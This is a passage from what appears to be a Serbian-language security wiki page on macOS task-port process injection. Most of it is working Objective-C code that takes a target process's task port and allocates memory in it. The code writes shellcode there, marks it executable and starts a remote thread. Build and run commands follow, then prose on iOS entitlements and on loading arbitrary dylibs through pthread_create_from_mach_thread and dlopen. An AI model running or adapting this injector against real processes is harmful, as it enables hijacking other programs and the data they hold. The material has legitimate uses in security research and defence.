// Get access to the task port of the process we want to inject into kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); if (kr != KERN_SUCCESS) { fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); return (-1); } else{ printf("Gathered privileges over the task port of process: %d\n", pid); }

// Allocate memory for the stack mach_vm_address_t remoteStack64 = (vm_address_t) NULL; mach_vm_address_t remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); return (-2); } else {

fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); }

// Allocate memory for the code remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); return (-2); }

// Write the shellcode to the allocated memory kr = mach_vm_write(remoteTask, // Task port remoteCode64, // Virtual Address (Destination) (vm_address_t) injectedCode, // Source 0xa9); // Length of the source

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); return (-3); }

// Set the permissions on the allocated code memory kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); return (-4); }

// Set the permissions on the allocated stack memory kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); return (-4); }

// Create thread to run shellcode struct arm_unified_thread_state remoteThreadState64; thread_act_t remoteThread;

memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );

remoteStack64 += (STACK_SIZE / 2); // this is the real stack //remoteStack64 -= 8; // need alignment of 16

const char* p = (const char*) remoteCode64;

remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;

printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );

kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); return (-3); }

return (0); }

pid_t pidForProcessName(NSString *processName) { NSArray *arguments = @[@"pgrep", processName]; NSTask *task = [[NSTask alloc] init]; [task setLaunchPath:@"/usr/bin/env"]; [task setArguments:arguments];

NSPipe *pipe = [NSPipe pipe]; [task setStandardOutput:pipe];

NSFileHandle *file = [pipe fileHandleForReading];

[task launch];

NSData *data = [file readDataToEndOfFile]; NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];

return (pid_t)[string integerValue]; }

BOOL isStringNumeric(NSString str) { NSCharacterSet nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet]; NSRange r = [str rangeOfCharacterFromSet: nonNumbers]; return r.location == NSNotFound; }

int main(int argc, const char * argv[]) { @autoreleasepool { if (argc < 2) { NSLog(@"Usage: %s ", argv[0]); return 1; }

NSString *arg = [NSString stringWithUTF8String:argv[1]]; pid_t pid;

if (isStringNumeric(arg)) { pid = [arg intValue]; } else { pid = pidForProcessName(arg); if (pid == 0) { NSLog(@"Error: Process named '%@' not found.", arg); return 1; } else{ printf("Found PID of process '%s': %d\n", [arg UTF8String], pid); } }

inject(pid); }

return 0; }

</detalji>
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>

Da biste ovo omogućili na iOS-u, potrebno je imati dozvolu dynamic-codesigning kako biste mogli da napravite memorijski zapis koji je izvršiv.

Ubacivanje Dylib-a u nit putem Task porta

Na macOS-u se niti mogu manipulisati putem Mach ili korišćenjem posix pthread api. Nit koju smo generisali u prethodnom ubacivanju, generisana je korišćenjem Mach api-ja, tako da nije posix kompatibilna.

Bilo je moguće ubaciti jednostavan shellcode za izvršavanje komande jer nije bilo potrebno raditi sa posix kompatibilnim api-jima, već samo sa Mach-om. Složenije ubacivanje bi zahtevalo da je nit takođe posix kompatibilna.

Stoga, da biste unapredili nit, trebalo bi da pozovete pthread_create_from_mach_thread koji će kreirati validnu pthread. Zatim, ova nova pthread bi mogla da pozove dlopen kako bi učitala dylib sa sistema, tako da umesto pisanja novog shellcode-a za obavljanje različitih akcija, moguće je učitati prilagođene biblioteke.

Možete pronaći primer dylib-ova u (na primer onaj koji generiše log i zatim možete da ga slušate):

Last updated